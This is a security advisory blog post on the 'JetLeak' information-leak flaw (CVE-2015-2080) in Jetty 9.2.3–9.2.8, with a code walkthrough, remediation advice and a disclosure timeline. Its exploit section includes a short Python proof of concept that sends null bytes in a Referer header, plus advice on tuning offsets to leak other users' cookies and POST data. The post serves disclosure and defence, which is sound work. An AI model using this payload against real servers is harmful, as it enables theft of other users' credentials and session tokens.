Twitter
« SmartThings SSL Certificate Validation Vulnerability | Main | NTLM Information Disclosure: Enhanced Protocol Support »
Wednesday
Feb252015

JetLeak Vulnerability: Remote Leakage of Shared Buffers in Jetty Web Server [CVE-2015-2080]

Overview

GDS discovered a critical information leakage vulnerability in the Jetty web server that allows an unauthenticated remote attacker to read arbitrary data from previous requests submitted to the server by other users. I know that sentence is a mouthful, so take a brief moment to digest it, or simply keep reading to understand what that means. Simply put, if you’re running a vulnerable version of the Jetty web server, this can lead to the compromise of sensitive data, including data passed within headers (e.g. cookies, authentication tokens, Anti-CSRF tokens, etc.), as well as data passed in the POST body (e.g. usernames, passwords, authentication tokens, CSRF tokens, PII, etc.). (GDS also observed this data leakage vulnerability with responses as well, but for brevity this blog post will concentrate on requests)

The root cause of this vulnerability can be traced to exception handling code that returns approximately 16 bytes of data from a shared buffer when illegal characters are submitted in header values to the server. An attacker can exploit this behavior by submitting carefully crafted requests containing variable length strings of illegal characters to trigger the exception and offset into the shared buffer. Since the shared buffer contains user submitted data from previous requests, the Jetty server will return specific data chunks (approximately 16-bytes in length) from the user’s request depending on the attacker’s payload offset.

Am I vulnerable?

This vulnerability affects versions 9.2.3 to 9.2.8. GDS also found that beta releases and later (including the beta releases of 9.3.x) are vulnerable.

We have created a simple python script that can be used to determine if a Jetty HTTP server is vulnerable. The script code can be downloaded from the GDS Github repository below:

https://github.com/GDSSecurity/Jetleak-Testing-Script

Walkthrough of Vulnerable Code

When the Jetty web server receives a HTTP request, the below code is used to parse through the HTTP headers and their associated values. This walkthrough will focus primarily on the parsing of the header values. The server begins by looping through each character for a given header value and checks the following:

  • On Line 1164, the server checks if the character is printable ASCII or not a valid ASCII character
  • On Line 1172, the server checks if the character is a space or tab
  • On Line 1175, the server checks if the character is a line feed

If the character is non-printable ASCII (or less than 0x20), then all of the checks above are skipped over and the code throws an ‘IllegalCharacter’ exception on line 1186, passing in the illegal character and a shared buffer.

File: jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java

920: protected boolean parseHeaders(ByteBuffer buffer)
921: {
[..snip..]
1163:     case HEADER_VALUE:
1164:         if (ch>HttpTokens.SPACE || ch<0)
1165:         {
1166:             _string.append((char)(0xff&ch));
1167:             _length=_string.length();
1168:             setState(State.HEADER_IN_VALUE);
1169:             break;
1170:         }
1171:
1172:         if (ch==HttpTokens.SPACE || ch==HttpTokens.TAB)
1173:            break;
1174:
1175:         if (ch==HttpTokens.LINE_FEED)
1176:         {
1177:             if (_length > 0)
1178:             {
1179:                 _value=null;
1180:                 _valueString=(_valueString==null)?
                             takeString():(_valueString+” “+
                             takeString());
1181:             }
1182:             setState(State.HEADER);
1183:             break;
1184:         }
1185:
1186:         throw new IllegalCharacter(ch,buffer);

In the definition of the ‘IllegalCharacter’ method, the server returns an error message. The error message is a format string composed of the illegal character, a static string that represents whether the exception occurred in the header name or header value, and finally a String that outputs some content of the shared buffer via a call to ‘BufferUtil.toDebugString’.

File: jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java

1714: private class IllegalCharacter extends BadMessage
1715: {
1716:     IllegalCharacter(byte ch,ByteBuffer buffer)
1717:     {
1718:         super(String.format(“Illegal character 0x%x 
                      in state=%s in '%s’”,ch,_state,
                      BufferUtil.toDebugString(buffer)));
1719:     }
1720: }

In the ‘toDebugString’ method, there is a call to ‘appendDebugString’, which accepts a StringBuilder object as its first parameter and the shared buffer object as the second parameter. The StringBuilder object will be populated by the ‘appendDebugString’ method and ultimately returned to the user.

File: jetty-util\src\main\java\org\eclipse\jetty\util\BufferUtil.java

 963: public static String toDebugString(ByteBuffer buffer)
 964: {
 965:     if (buffer == null)
 966:         return “null”;
 967:     StringBuilder buf = new StringBuilder();
 968:     appendDebugString(buf,buffer);
 969:     return buf.toString();
 970: }

Since the shared buffer contains data from previous requests, in order for the attacker to retrieve specific data in the shared buffer, their goal is to create a long enough string of illegal characters to overwrite non-important data in the previous request up until the data the attacker wants (e.g. Cookies, authentication tokens, etc.). When the code on line 996 executes, the server reads 16 bytes from the shared buffer before appending “…”. Since the attacker already off-setted into the previous request via an appropriate length string of illegal characters, these 16 bytes should contain sensitive user data from a previous user’s request.

File: jetty-util\src\main\java\org\eclipse\jetty\util\BufferUtil.java

972:  private static void appendDebugString(StringBuilder buf,ByteBuffer buffer)
973: {
[..snip..]
983:     buf.append(<<<);
984:     for (int i = buffer.position(); i < buffer.limit(); i++)
985:     {
986:         appendContentChar(buf,buffer.get(i));
987:         if (i == buffer.position() + 16 && 
                     buffer.limit() > buffer.position() + 32)
988:         {
989:             buf.append(“…”);
990:             i = buffer.limit() - 16;
991:         }
992:     }
993:     buf.append(>>>);
994:     int limit = buffer.limit();
995:     buffer.limit(buffer.capacity());
996:     for (int i = limit; i < buffer.capacity(); i++)
997:     {
998:         appendContentChar(buf,buffer.get(i));
999:         if (i == limit + 16 && 
                    buffer.capacity() > limit + 32)
1000:        {
1001:             buf.append(“…”);
1002:             i = buffer.capacity() - 16;
1003:         }
1004:     }
1005:     buffer.limit(limit);
1006: }
Additional places where IllegalCharacter is called in 9.2.x codebase (line numbers may differ):
  • \jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:401
  • \jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:530
  • \jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:547
  • \jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:1161
  • \jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:1215

The section below provides a walkthrough of how a malicious user could exploit this vulnerability to read sensitive data from another user’s HTTP requests (e.g. cookies, authentication headers, credentials or sensitive data submitted within URLs or POST data).

Exploit Walkthrough

Step 1:

The HTTP request below represents a sample request sent by a victim to the Jetty web server (version 9.2.7.v20150116). Notice the ‘Cookie’ and POST body parameters sent to the server since these will be the values that will be targeted within our proof of concept.

Reproduction Request (VICTIM):

POST /test-spec/test HTTP/1.1
Host: 192.168.56.101:8080
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64; rv:35.0) Gecko/20100101
Cookie: password=secret
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.101:8080/test-spec/
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

param1=test

Reproduction Response (VICTIM):

HTTP/1.1 200 OK
Set-Cookie: visited=yes
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html
Server: Jetty(9.2.7.v20150116)
Content-Length: 3460

Step 2:

As the attacker, craft a request to the same endpoint, but remove the contents of the ‘Referer’ header and replace it with a string of illegal characters. In this particular case, the string contains 44 null bytes. One could conceivably use any non-ASCII character less than 0x20 (other than line-feed since the code handles it specially).

Note, the process of figuring out the correct length of characters for the illegal character string is an iterative process. The suggestion is to start with a small string and work towards a larger size string. If the attacker starts with too large of a string they risk overwriting sensitive data from the previous request. Ideally, the attacker wants to overwrite data in the previous request up until the beginning of the sensitive data. The code will then read 16 bytes of sensitive data and return it to the attacker.

import httplib, urllib

conn = httplib.HTTPConnection("127.0.0.1:8080")

headers = {"Referer": chr(0)*44}
conn.request("POST", "/test-spec/test", "", headers)
r1 = conn.getresponse()
print r1.status, r1.reason

Step 3:

Once the script is run and the malicious payload is sent to the server, the attacker should receive a response similar to the one below. Notice that the cookie value is contained within the response. Since it is conceivable that the attacker may want to obtain a value greater than 16 bytes in length, the script above can be run multiple times to get additional 16 byte chunks from the buffer.


Step 4:

To read the POST body parameters, the attacker can modify the length of the illegal character string to offset further into the shared buffer as shown below.

 

Remediation

Currently, if you are running one of the vulnerable Jetty web server versions, Jetty recommends that you upgrade to version 9.2.9.v20150224 immediately.

Organizations should also be aware that Jetty may be bundled within third party products. We recommend referring to the Jetty Powered website for a list of products (not exhaustive) that utilize Jetty. Due to Jetty being a fairly lightweight HTTP server, it is also commonly used by a variety of embedded systems. Organizations should contact any vendors that may be running a Jetty web server in order to determine if their products are vulnerable and when any patches to resolve this vulnerability will be made available. Additionally, we have encountered cases where development teams use Jetty as a lightweight replacement for app servers such as Tomcat. Organizations should consider notifying their development teams about the vulnerability and require teams to upgrade any vulnerable versions of Jetty.

The latest release of the Jetty HTTP server is available for download at the following locations:

  • Maven - http://central.maven.org/
  • Jetty Downloads Page - http://download.eclipse.org/jetty

UPDATE: Jetty is currently working on releasing patched versions of the affected JARs for releases 9.2.3 to 9.2.8 and will make that available through their website to the general public

Disclosure Timeline

  • Feb 19, 2015 - Vulnerability report sent to [email protected] using SendSafely
  • Feb 23, 2015 - Jetty team downloads the vulnerability report
  • Feb 24, 2015 - Jetty team releases HTTP Server v9.2.9.v20150224 with bug fix and publicly announces a critical vulnerability advisory with exploit code
  • Feb 25, 2015 - GDS publicly discloses vulnerability

GDS commends the Jetty development team on their timely response and swift remediation. It should be noted that the decision to publicly disclose the vulnerability was made by the Jetty development team, independent of GDS. GDS’ blog post was published after it was discovered that Jetty had publicly disclosed the vulnerability.

Reader Comments (3)

Can you please fix the github link? it doesn't currently work.
February 25, 2015 | Unregistered CommenterPoenar Ioana
Are versions prior to versions 9.2.3 to 9.2.8 vulnerable as well?
February 25, 2015 | Unregistered CommenterMaya Queen
Thanks for the explanation!
It's easy to get the main idea of this vulnerability, but it's hard to dive into details.
Why exactly 44 symbols? It would be great if you will provide some details about memory layouts of those two consecutive requests in byte buffer to understand the way you've calculated offset and then understand problem's details, not only the concept.

Thanks!
March 3, 2015 | Unregistered CommenterVsevolod
Comments for this entry have been disabled. Additional comments may not be added to this entry at this time.